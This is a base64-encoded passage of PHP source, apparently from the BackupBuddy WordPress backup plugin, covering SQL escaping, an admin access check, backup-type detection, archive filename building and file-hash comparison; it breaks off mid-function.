cGFyYW0gc3RyaW5nICRzcWwgIFN0cmluZyB0byBlc2NhcGUuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIEVzY2FwZWQgc3RyaW5nLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGRiRXNjYXBlKCAkc3FsICkgewoJCWdsb2JhbCAkd3BkYjsKCQlpZiAoIGlzc2V0KCAkd3BkYi0+dXNlX215c3FsaSApICYmICggdHJ1ZSA9PT0gJHdwZGItPnVzZV9teXNxbGkgKSApIHsgLy8gUG9zc2libGUgcG9zdCBXUCAzLjkKCQkJcmV0dXJuIG15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoICR3cGRiLT5kYmgsICRzcWwgKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCAkc3FsICk7CgkJfQoJfSAvLyBFbmQgZGJFc2NhcGUoKS4KCgoKCS8qKgoJICogVmVyaWZpZXMgQUpBWCBhY2Nlc3MuCgkgKgoJICogISEgSU1QT1JUQU5UIEZPUiBBTlkgQUpBWCBQQUdFUyBGT1IgU0VDVVJJVFkgISEgVmVyaWZ5IHVzZXIgaXMgYm90aCBsb2dnZWQgaW50byBhZG1pbiBhbmQgaGFzIGFwcHJvcHJpYXRlIHJvbGUgYWNjZXNzIHRvIEJhY2t1cEJ1ZGR5LgoJICoKCSAqIEByZXR1cm4gZGllfHRydWUgIE9uIGZhaWx1cmUsIGRpZXMvaGFsdHMgUEhQIHNjcmlwdCBmb3Igc2VjdXJpdHkuICBPbiBhY2Nlc3MgZnJhbnRlZCwgcmV0dXJucyB0cnVlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZlcmlmeUFqYXhBY2Nlc3MoKSB7CgkJaWYgKCAhIGlzX2FkbWluKCkgKSB7CgkJCWRpZSggJ0Vycm9yICMyMzg5ODMzLiBBY2Nlc3MgRGVuaWVkLicgKTsKCQl9CgkJaWYgKCAhIGN1cnJlbnRfdXNlcl9jYW4oIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncm9sZV9hY2Nlc3MnXSApICkgewoJCQlkaWUoICdFcnJvciAjMjM3MzgyMy4gQWNjZXNzIERlbmllZC4nICk7CgkJfQoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIHZlcmlmeUFqYXhBY2Nlc3MoKS4KCgkvKioKCSAqIEdldCBCYWNrdXBCdWRkeSBOb3RpZmljYXRpb25zCgkgKgoJICogQHJldHVybiBhcnJheSAgTm90aWZpY2F0aW9ucyBvcHRpb24uCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0Tm90aWZpY2F0aW9ucygpIHsKCQkkZGVmYXVsdCA9IGFycmF5KCk7CgkJcmV0dXJuIGdldF9zaXRlX29wdGlvbiggYmFja3VwYnVkZHlfY29uc3RhbnRzOjpOT1RJRklDQVRJT05TX09QVElPTl9TTFVHLCAkZGVmYXVsdCwgZmFsc2UgKTsKCX0gLy8gRW5kIGdldE5vdGlmaWNhdGlvbnMoKS4KCgoJLyoqCgkgKiBVcGRhdGUgTm90aWZpY2F0aW9ucyBpbiBTaXRlIE9wdGlvbnMKCSAqCgkgKiBAcGFyYW0gYXJyYXkgJG5vdGlmaWNhdGlvbkFycmF5ICBOZXcgbm90aWZpY2F0aW9ucyBhcnJheS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXBsYWNlTm90aWZpY2F0aW9ucyggJG5vdGlmaWNhdGlvbkFycmF5ICkgewoJCS8vIFNhdmUuCgkJYWRkX3NpdGVfb3B0aW9uKCBiYWNrdXBidWRkeV9jb25zdGFudHM6Ok5PVElGSUNBVElPTlNfT1BUSU9OX1NMVUcsICRub3RpZmljYXRpb25BcnJheSwgJycsICdubycgKTsKCQl1cGRhdGVfc2l0ZV9vcHRpb24oIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6Tk9USUZJQ0FUSU9OU19PUFRJT05fU0xVRywgJG5vdGlmaWNhdGlvbkFycmF5ICk7Cgl9IC8vIEVuZCByZXBsYWNlTm90aWZpY2F0aW9ucygpLgoKCgkvKioKCSAqIERldGVybWluZSBiYWNrdXAgdHlwZSBmcm9tIGZpbGUgd2hldGhlciBieSBmaWxlbmFtZSBvciBlbWJlZGRlZCBmaWxlb3B0aW9ucy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRmaWxlICAgICAgICAgICAgICBGdWxsIGZpbGVuYW1lIHBhdGggb2YgYmFja3VwIHRvIGRldGVybWluZSB0eXBlIG9mLgoJICogQHBhcmFtIGJvb2wgICAkcXVpZXQgICAgICAgICAgICAgU3VwcHJlc3Mgc3RhdHVzIGxvZ3MuCgkgKiBAcGFyYW0gYm9vbCAgICRza2lwX2ZpbGVvcHRpb25zICBXaGVuIGZhbHNlIGlmIHRoZSBiYWNrdXAgdHlwZSBjYW5ub3QgYmUgZGV0ZWN0ZWQgdmlhIGZpbGVuYW1lIHRoZW4gdHJ5IHRvIG9wZW4gdGhlIGZpbGVvcHRpb25zIGZpbGUgdG8gZ2V0IG1vcmUgZGV0YWlscy4gU2V0IHRydWUgZm9yIG5vbi1jcnVjaWFsIGNhc2VzIGZvciBzcGVlZC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgVHlwZSBvZiBiYWNrdXAgKGVnIGZ1bGwsIGRiKS4gSWYgdW5rbm93biwgZW1wdHkgc3RyaW5nICcnIHJldHVybmVkLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldEJhY2t1cFR5cGVGcm9tRmlsZSggJGZpbGUsICRxdWlldCA9IGZhbHNlLCAkc2tpcF9maWxlb3B0aW9ucyA9IGZhbHNlICkgewoKCQkvLyBJZiBub3QgYSB6aXAgZmlsZSwgcmV0dXJuIGJsYW5rLgoJCWlmICggJ3ppcCcgIT0gc3RydG9sb3dlciggc3Vic3RyKCAkZmlsZSwgLTMgKSApICkgewoJCQlyZXR1cm4gJyc7CgkJfQoKCQlpZiAoIGZhbHNlID09PSAkcXVpZXQgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RldGVjdGluZyBiYWNrdXAgdHlwZSBpZiBwb3NzaWJsZS4nICk7CgkJfQoKCQkvLyBUcnkgdG8gZmlndXJlIG91dCB0eXBlIHZpYSBmaWxlbmFtZS4KCQlpZiAoIHN0cmlzdHIoICRmaWxlLCAnLWRiLScgKSAhPT0gZmFsc2UgKSB7CgkJCSR0eXBlID0gJ2RiJzsKCQl9IGVsc2VpZiAoIHN0cmlzdHIoICRmaWxlLCAnLWZ1bGwtJyApICE9PSBmYWxzZSApIHsKCQkJJHR5cGUgPSAnZnVsbCc7CgkJfSBlbHNlaWYgKCBzdHJpc3RyKCAkZmlsZSwgJy1maWxlcy0nICkgIT09IGZhbHNlICkgewoJCQkkdHlwZSA9ICdmaWxlcyc7CgkJfSBlbHNlaWYgKCBzdHJpc3RyKCAkZmlsZSwgJy10aGVtZXMtJyApICE9PSBmYWxzZSApIHsKCQkJJHR5cGUgPSAndGhlbWVzJzsKCQl9IGVsc2VpZiAoIHN0cmlzdHIoICRmaWxlLCAnLW1lZGlhLScgKSAhPT0gZmFsc2UgKSB7CgkJCSR0eXBlID0gJ21lZGlhJzsKCQl9IGVsc2VpZiAoIHN0cmlzdHIoICRmaWxlLCAnLXBsdWdpbnMtJyApICE9PSBmYWxzZSApIHsKCQkJJHR5cGUgPSAncGx1Z2lucyc7CgkJfSBlbHNlaWYgKCBmYWxzZSAhPT0gc3RyaXN0ciggJGZpbGUsICdpbXBvcnRidWRkeS5waHAnICkgKSB7CgkJCSR0eXBlID0gJ0ltcG9ydEJ1ZGR5IFRvb2wnOwoJCX0gZWxzZWlmICggc3RyaXN0ciggJGZpbGUsICctZXhwb3J0LScgKSAhPT0gZmFsc2UgKSB7CgkJCSR0eXBlID0gJ2V4cG9ydCc7CgkJfQoKCQlpZiAoIGlzc2V0KCAkdHlwZSApICkgewoJCQlpZiAoIGZhbHNlID09PSAkcXVpZXQgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXRlY3RlZCBiYWNrdXAgdHlwZSBhcyBgJyAuICR0eXBlIC4gJ2AgdmlhIGZpbGVuYW1lLicgKTsKCQkJfQoJCQlyZXR1cm4gJHR5cGU7CgkJfQoKCQkvLyBTZWUgaWYgd2UgY2FuIGdldCBiYWNrdXAgdHlwZSBmcm9tIGZpbGVvcHRpb25zIGRhdGEuCgkJaWYgKCBmYWxzZSA9PT0gJHNraXBfZmlsZW9wdGlvbnMgKSB7CgkJCSRmaWxlb3B0aW9uc19maWxlID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9zZXJpYWxfZnJvbV9maWxlKCAkZmlsZSApIC4gJy50eHQnOwoJCQlpZiAoIGZpbGVfZXhpc3RzKCAkZmlsZW9wdGlvbnNfZmlsZSApICkgewoJCQkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jbGFzc2VzL2ZpbGVvcHRpb25zLnBocCc7CgkJCQkkYmFja3VwX29wdGlvbnMgPSBuZXcgcGJfYmFja3VwYnVkZHlfZmlsZW9wdGlvbnMoICRmaWxlb3B0aW9uc19maWxlLCB0cnVlLCB0cnVlICk7CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkZmlsZW9wdGlvbnNfZmlsZSApICkgewoJCQkJCSRyZXN1bHQgPSAkYmFja3VwX29wdGlvbnMtPmlzX29rKCk7CgkJCQkJaWYgKCB0cnVlICE9PSAkcmVzdWx0ICkgewoJCQkJCQkvLyBwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICdXYXJuaW5nIG9ubHk6IFVuYWJsZSB0byBvcGVuIGZpbGVvcHRpb25zIGZpbGUgYCcgLiAkZmlsZW9wdGlvbnNGaWxlIC4gJ2AuIFRoaXMgbWF5IGJlIG5vcm1hbC4nICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJaWYgKCBpc3NldCggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWydpbnRlZ3JpdHknXVsnZGV0ZWN0ZWRfdHlwZSddICkgKSB7CgkJCQkJCQlpZiAoIGZhbHNlID09PSAkcXVpZXQgKSB7CgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGV0ZWN0ZWQgYmFja3VwIHR5cGUgYXMgYCcgLiAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ2ludGVncml0eSddWydkZXRlY3RlZF90eXBlJ10gLiAnYCB2aWEgaW50ZWdyaXR5IGNoZWNrIGRhdGEuJyApOwoJCQkJCQkJfQoJCQkJCQkJcmV0dXJuICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1snaW50ZWdyaXR5J11bJ2RldGVjdGVkX3R5cGUnXTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCgkJcmV0dXJuICcnOyAvLyBUeXBlIHVua25vd24uCgoJfSAvLyBFbmQgZ2V0QmFja3VwVHlwZUZyb21GaWxlKCkuCgoKCS8qKgoJICogQ2FsY3VsYXRlcyB0aGUgYmFja3VwIHppcCBmaWxlbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzZXJpYWwgICBCYWNrdXAgU2VyaWFsLgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICAgVHlwZSBvZiBiYWNrdXAuCgkgKiBAcGFyYW0gaW50ICAgICRwcm9maWxlICBQcm9maWxlIElELgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBDYWxjdWxhdGVkIGZpbGVuYW1lLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGNhbGN1bGF0ZUFyY2hpdmVGaWxlbmFtZSggJHNlcmlhbCwgJHR5cGUsICRwcm9maWxlICkgewoKCQkvLyBQcmVwYXJlIHNvbWUgdmFsdWVzIGZvciBzZXR0aW5nIHVwIHRoZSBiYWNrdXAgZGF0YS4KCQkkc2l0ZXVybF9zdHJpcHBlZCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmJhY2t1cF9wcmVmaXgoKTsKCgkJLy8gQWRkIHByb2ZpbGUgdG8gZmlsZW5hbWUgaWYgc2V0IGluIG9wdGlvbnMgYW5kIGV4aXN0cy4KCQlpZiAoIGVtcHR5KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FyY2hpdmVfbmFtZV9wcm9maWxlJ10gKSB8fCBlbXB0eSggJHByb2ZpbGVbJ3RpdGxlJ10gKSApIHsKCQkJJGJhY2t1cGZpbGVfcHJvZmlsZSA9ICcnOwoJCX0gZWxzZSB7CgkJCSRiYWNrdXBmaWxlX3Byb2ZpbGUgID0gc2FuaXRpemVfZmlsZV9uYW1lKCBzdHJ0b2xvd2VyKCAkcHJvZmlsZVsndGl0bGUnXSApICk7CgkJCSRiYWNrdXBmaWxlX3Byb2ZpbGUgID0gc3RyX3JlcGxhY2UoICcvJywgJ18nLCAkYmFja3VwZmlsZV9wcm9maWxlICk7CgkJCSRiYWNrdXBmaWxlX3Byb2ZpbGUgID0gc3RyX3JlcGxhY2UoICdcXCcsICdfJywgJGJhY2t1cGZpbGVfcHJvZmlsZSApOwoJCQkkYmFja3VwZmlsZV9wcm9maWxlICA9IHN0cl9yZXBsYWNlKCAnLicsICdfJywgJGJhY2t1cGZpbGVfcHJvZmlsZSApOwoJCQkkYmFja3VwZmlsZV9wcm9maWxlICA9IHN0cl9yZXBsYWNlKCAnICcsICdfJywgJGJhY2t1cGZpbGVfcHJvZmlsZSApOwoJCQkkYmFja3VwZmlsZV9wcm9maWxlICA9IHN0cl9yZXBsYWNlKCAnLScsICdfJywgJGJhY2t1cGZpbGVfcHJvZmlsZSApOwoJCQkkYmFja3VwZmlsZV9wcm9maWxlIC49ICctJzsKCQl9CgoJCS8vIENhbGN1bGF0ZSBjdXN0b21pemFibGUgc2VjdGlvbiBvZiBhcmNoaXZlIGZpbGVuYW1lIChkYXRlIHZzIGRhdGUrdGltZSkuCgkJaWYgKCAnZGF0ZXRpbWUnID09PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FyY2hpdmVfbmFtZV9mb3JtYXQnXSApIHsgLy8gImRhdGV0aW1lIiA9IERhdGUgKyB0aW1lLgoJCQkkYmFja3VwZmlsZV9kYXRldGltZSA9IGRhdGUoIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6QVJDSElWRV9OQU1FX0ZPUk1BVF9EQVRFVElNRSwgcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmxvY2FsaXplX3RpbWUoIHRpbWUoKSApICk7CgkJfSBlbHNlaWYgKCAnZGF0ZXRpbWUyNCcgPT09IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYXJjaGl2ZV9uYW1lX2Zvcm1hdCddICkgeyAvLyAiZGF0ZXRpbWUiID0gRGF0ZSArIHRpbWUgaW4gMjRociBmb3JtYXQuCgkJCSRiYWNrdXBmaWxlX2RhdGV0aW1lID0gZGF0ZSggYmFja3VwYnVkZHlfY29uc3RhbnRzOjpBUkNISVZFX05BTUVfRk9STUFUX0RBVEVUSU1FMjQsIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5sb2NhbGl6ZV90aW1lKCB0aW1lKCkgKSApOwoJCX0gZWxzZWlmICggJ3RpbWVzdGFtcCcgPT09IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYXJjaGl2ZV9uYW1lX2Zvcm1hdCddICkgeyAvLyAiZGF0ZXRpbWUiID0gRGF0ZSArIHRpbWUgaW4gMjRociBmb3JtYXQuCgkJCSRiYWNrdXBmaWxlX2RhdGV0aW1lID0gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmxvY2FsaXplX3RpbWUoIHRpbWUoKSApOwoJCX0gZWxzZSB7IC8vICJkYXRlIiA9IGRhdGUgb25seSAodGhlIGRlZmF1bHQpLgoJCQkkYmFja3VwZmlsZV9kYXRldGltZSA9IGRhdGUoIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6QVJDSElWRV9OQU1FX0ZPUk1BVF9EQVRFLCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+bG9jYWxpemVfdGltZSggdGltZSgpICkgKTsKCQl9CgkJJGFyY2hpdmVfZmlsZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpIC4gJ2JhY2t1cC0nIC4gJHNpdGV1cmxfc3RyaXBwZWQgLiAnLScgLiAkYmFja3VwZmlsZV9kYXRldGltZSAuICctJyAuICRiYWNrdXBmaWxlX3Byb2ZpbGUgLiAkdHlwZSAuICctJyAuICRzZXJpYWwgLiAnLnppcCc7CgoJCS8vIE1ha2UgZHVyZSB3ZSBjYW4gbWFrZSBiYWNrdXAgZGlyICYgaXQgZXhpc3RzICYgaXMgcHJvdGVjdGVkLgoJCXBiX2JhY2t1cGJ1ZGR5OjphbnRpX2RpcmVjdG9yeV9icm93c2luZyggYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJaWYgKCAhIGZpbGVfZXhpc3RzKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzg0ODkzNDM0OiBCYWNrdXAgc3RvcmFnZSBkaXJlY3RvcnkgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSAuICdgIGRvZXMgbm90IGV4aXN0IGFuZCB1bmFibGUgdG8gY3JlYXRlIGl0LiBDaGVjayBwZXJtaXNzaW9ucy4gSWYgdXNpbmcgYSBjdXN0b20gcGF0aCB2ZXJpZnkgaXQgaXMgY29ycmVjdC4nICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDYWxjdWxhdGVkIGFyY2hpdmUgZmlsZTogYCcgLiAkYXJjaGl2ZV9maWxlIC4gJ2AuJyApOwoJCXJldHVybiAkYXJjaGl2ZV9maWxlOwoJfSAvLyBFbmQgY2FsY3VsYXRlQXJjaGl2ZUZpbGVuYW1lKCkuCgoKCS8qKgoJICogQ2FsY3VsYXRlIGNvbXBhcmlzb24gZGF0YSBmb3IgYWxsIGZpbGVzIHdpdGhpbiBhIHBhdGguIFVzZWZ1bCBmb3IgdHJhY2tpbmcgZmlsZSBjaGFuZ2VzIGJldHdlZW4gdHdvIGxvY2F0aW9ucy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRyb290ICAgICAgICAgICBBQlNPTFVURSBmdWxsIHBhdGguCgkgKiBAcGFyYW0gYm9vbCAgICRnZW5lcmF0ZV9zaGExICBHZW5lcmF0ZSBzaGExPwoJICogQHBhcmFtIGFycmF5ICAkZXhjbHVkZXMgICAgICAgRGlyZWN0b3JpZXMgdG8gZXhjbHVkZSwgUkVMQVRJVkUgdG8gdGhlIHJvb3QuIEluY2x1ZGUgTEVBRElORyBzbGFzaCBmb3IgZWFjaCBlbnRyeS4KCSAqIEBwYXJhbSBib29sICAgJHV0ZjhfZW5jb2RlICAgIFNob3VsZCB3ZSBlbmNvZGUgYW55IGZpbGUgbmFtZXMgdGhhdCBhcmUgaW4gVVRGLTggZm9ybWF0PwoJICogQHBhcmFtIHN0cmluZyAkcHJlcGVuZF9wYXRoICAgU3RyaW5nIHBhdGggdG8gcHJlcGVuZCBpbiB0aGUgcmVzdWx0aW5nIGFycmF5IGtleSByZXR1cm5lZC4gRG9lcyBub3QgaW1wYWN0IGFjdHVhbCBjYWxjdWxhdGlvbnMuCgkgKgoJICogQHJldHVybiBhcnJheSAgTmVzdGVkIGFycmF5IG9mIGZpbGUvZGlyZWN0b3J5IHN0cnVjdHVyZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYXNoR2xvYiggJHJvb3QsICRnZW5lcmF0ZV9zaGExID0gZmFsc2UsICRleGNsdWRlcyA9IGFycmF5KCksICR1dGY4X2VuY29kZSA9IGZhbHNlLCAkcHJlcGVuZF9wYXRoID0gJycgKSB7CgkJJHJvb3QgICAgID0gcnRyaW0oICRyb290LCAnL1xcJyApOyAvLyBNYWtlIHN1cmUgbm8gdHJhaWxpbmcgc2xhc2guCgkJJGV4Y2x1ZGVzID0gc3RyX3JlcGxhY2UoICRyb290LCAnJywgJGV4Y2x1ZGVzICk7IC8vIE1ha2Ugc3VyZSBhbGwgcmVsYXRpdmUgdG8gdGhlIHJvb3QuCgoJCWlmICggISBmaWxlX2V4aXN0cyggJHJvb3QgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnV2FybmluZyAjODk0OTgzNDkzNDogVW5hYmxlIHRvIHJlYWQgaGFzaEdsb2Igb2YgZGlyIGFzIGl0IGRvZXMgbm90IGV4aXN0OiBgJyAuICRyb290IC4gJ2AuIFNLSVBQSU5HIE9WRVIuJyApOwoJCQlyZXR1cm4gYXJyYXkoKTsKCQl9CgoJCSRmaWxlcyAgICAgICAgPSAoYXJyYXkpIHBiX2JhY2t1cGJ1ZGR5OjokZmlsZXN5c3RlbS0+ZGVlcHNjYW5kaXIoICRyb290ICk7IC8vIEFzIG9mIHY3LjAgY2hhbmdlZCBmcm9tIGRlZXBzY2FuIHRvIGRlZXBnbG9iIHRvIGdldCBhbnkgZGlycyBvciBmaWxlcyBiZWdpbm5pbmcgd2l0aCBhIHBlcmlvZC4KCQkkcm9vdF9sZW4gICAgID0gc3RybGVuKCAkcm9vdCApOwoJCSRoYXNoZWRfZmlsZXMgPSBhcnJheSgpOwoJCWZvcmVhY2ggKCAkZmlsZXMgYXMgJGZpbGVfaWQgPT4gJiRmaWxlICkgewoJCQkkbmV3X2ZpbGUgPSBzdWJzdHIoICRmaWxlLCAkcm9vdF9sZW4gKTsKCgkJCS8vIElmIHRoaXMgZmlsZS9kaXJlY3RvcnkgYmVnaW5zIHdpdGggYW4gZXhjbHVzaW9uIHRoZW4ganVtcCB0byBuZXh0IGZpbGUvZGlyZWN0b3J5LgoJCQlmb3JlYWNoICggJGV4Y2x1ZGVzIGFzICRleGNsdWRlICkgewoJCQkJaWYgKCBiYWNrdXBidWRkeV9jb3JlOjpzdGFydHNXaXRoKCAkbmV3X2ZpbGUsICRleGNsdWRlICkgKSB7CgkJCQkJY29udGludWUgMjsKCQkJCX0KCQkJfQoKCQkJLy8gT21pdCBkaXJlY3RvcmllcyB0aGVtc2VsdmVzLgoJCQlpZiAoIGlzX2RpciggJGZpbGUgKSApIHsKCQkJCWNvbnRpbnVlOwoJCQl9CgoJCQkkc3RhdCA9IHN0YXQoICRmaWxlICk7CgkJCWlmICggZmFsc2UgPT09ICRzdGF0ICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byByZWFkIGZpbGUgYCcgLiAkZmlsZSAuICdgIHN0YXQuIFNraXBwaW5nIGZpbGUuJyApOwoJCQkJY29udGludWU7CgkJCX0KCgkJCS8vIElmIHRoZSBmaWxlbmFtZSBpcyBpbiBVVEYtOCBhbmQgdGhlIGZsYWcgaXMgc2V0LCBlbmNvZGUgYmVmb3JlIHVzaW5nIGFzIGFuIGFycmF5IGtleS4KCQkJaWYgKCAkdXRmOF9lbmNvZGUgJiYgJ1VURi04JyA9PSBtYl9kZXRlY3RfZW5jb2RpbmcoICRuZXdfZmlsZSApICkgewoJCQkJJG5ld19maWxlID0gdXRmOF9lbmNvZGUoICRuZXdfZmlsZSApOwoJCQl9CgoJCQkkbmV3X2ZpbGUgPSAkcHJlcGVuZF9wYXRoIC4gJG5ld19maWxlOwoKCQkJJGhhc2hlZF9maWxlc1sgJG5ld19maWxlIF0gPSBhcnJheSgKCQkJCSdzaXplJyAgICAgPT4gJHN0YXRbJ3NpemUnXSwKCQkJCSdtb2RpZmllZCcgPT4gJHN0YXRbJ210aW1lJ10sCgkJCSk7CgkJCWlmICggZGVmaW5lZCggJ0JBQ0tVUEJVRERZX0RFVicgKSAmJiB0cnVlID09PSBCQUNLVVBCVUREWV9ERVYgKSB7CgkJCQkkaGFzaGVkX2ZpbGVzWyAkbmV3X2ZpbGUgXVsnZGVidWdfZmlsZW5hbWUnXSAgID0gYmFzZTY0X2VuY29kZSggJGZpbGUgKTsKCQkJCSRoYXNoZWRfZmlsZXNbICRuZXdfZmlsZSBdWydkZWJ1Z19maWxlbGVuZ3RoJ10gPSBzdHJsZW4oICRmaWxlICk7CgkJCX0KCQkJaWYgKCB0cnVlID09PSAkZ2VuZXJhdGVfc2hhMSAmJiAkc3RhdFsnc2l6ZSddIDwgMTA3Mzc0MTgyNCApIHsgLy8gPCAxMDBtYgoJCQkJJGhhc2hlZF9maWxlc1sgJG5ld19maWxlIF1bJ3NoYTEnXSA9IHNoYTFfZmlsZSggJGZpbGUgKTsKCQkJfQoJCQl1bnNldCggJGZpbGVzWyAkZmlsZV9pZCBdICk7IC8vIEJldHRlciB0byBmcmVlIG1lbW9yeSBvciBsZWF2ZSBvdXQgZm9yIHBlcmZvcm1hbmNlPwoKCQl9CgkJdW5zZXQoICRmaWxlcyApOwoKCQlyZXR1cm4gJGhhc2hlZF9maWxlczsKCgl9IC8vIEVuZCBoYXNoR2xvYi4KCgoJLyoqCgkgKiBTZWFyY2ggYmFja3dhcmRzIHN0YXJ0aW5nIGZyb20gaGF5c3RhY2sgbGVuZ3RoIGNoYXJhY3RlcnMgZnJvbSB0aGUgZW5kLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGhheXN0YWNrICBTdHJpbmcgdG8gc2VhcmNoLgoJICogQHBhcmFtIHN0cmluZyAkbmVlZGxlICAgIFdoYXQgdG8gc2VhcmNoIGZvci4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmICRuZWVkbGUgd2FzIGZvdW5kIGJhY2t3YXJkcyBpbiAkaGF5c3RhY2suCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gc3RhcnRzV2l0aCggJGhheXN0YWNrLCAkbmVlZGxlICkgewoJCWlmICggJycgPT0gJG5lZWRsZSApIHsgLy8gQmxhbmsgbmVlZGxlIGlzIGludmFsaWQgc28gYWx3YXlzIHNheSBmYWxzZSwgaXQgZG9lcyBub3Qgc3RhcnQgd2l0aCBhIGJsYW5rLgoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCXJldHVybiAnJyA9PT0gJG5lZWRsZSB8fCBmYWxzZSAhPT0gc3RycnBvcyggJGhheXN0YWNrLCAkbmVlZGxlLCAtc3RybGVuKCAkaGF5c3RhY2sgKSApOwoJfSAvLyBFbmQgYmFja3VwYnVkZHlfc3RhcnRzV2l0aCgpLgoKCgkvKioKCSAqIEFkZCBOb3RpZmljYXRpb24gdG8gbm90aWZpY2F0aW9ucyBhcnJheS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzbHVnICAgICBOb3RpZmljYXRpb24gc2x1Zy4KCSAqIEBwYXJhbSBzdHJpbmcgJHRpdGxlICAgIFRpdGxlIG9mIG5vdGlmaWNhdGlvbi4KCSAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgIE5vdGlmaWNhdGlvbiBtZXNzYWdlLgoJICogQHBhcmFtIGFycmF5ICAkZGF0YSAgICAgRGF0YSB0byBhdHRhY2ggdG8gbm90aWZpY2F0aW9uLgoJICogQHBhcmFtIGJvb2wgICAkdXJnZW50ICAgSWYgdXJnZW50IG9yIG5vdC4KCSAqIEBwYXJhbSBpbnQgICAgJHRpbWUgICAgIFRpbWVzdGFtcC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhZGROb3RpZmljYXRpb24oICRzbHVnLCAkdGl0bGUsICRtZXNzYWdlID0gJycsICRkYXRhID0gYXJyYXkoKSwgJHVyZ2VudCA9IGZhbHNlLCAkdGltZSA9ICcnICkgewoKCQlpZiAoICcnID09ICR0aW1lICkgewoJCQkkdGltZSA9IHRpbWUoKTsKCQl9CgoJCS8vIENyZWF0ZSB0aGlzIG5ldyBub3RpZmljYXRpb24gZGF0YS4KCQkkbm90aWZpY2F0aW9uID0gYXJyYXkoCgkJCSdzbHVnJyAgICA9PiAkc2x1ZywKCQkJJ3RpbWUnICAgID0+ICR0aW1lLAoJCQkndGl0bGUnICAgPT4gJHRpdGxlLAoJCQknbWVzc2FnZScgPT4gJG1lc3NhZ2UsCgkJCSdkYXRhJyAgICA9PiAkZGF0YSwKCQkJJ3VyZ2VudCcgID0+IGZhbHNlLAoJCSk7CgkJJG5vdGlmaWNhdGlvbiA9IGFycmF5X21lcmdlKCBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdub3RpZmljYXRpb25fZGVmYXVsdHMnICksICRub3RpZmljYXRpb24gKTsgLy8gQXBwbHkgZGVmYXVsdHMuCgoJCS8vIExvYWQgY3VycmVudCBub3RpZmljYXRpb25zLgoJCSRub3RpZmljYXRpb25fYXJyYXkgPSBzZWxmOjpnZXROb3RpZmljYXRpb25zKCk7CgoJCS8vIEFkZCB0byBjdXJyZW50IG5vdGlmaWNhdGlvb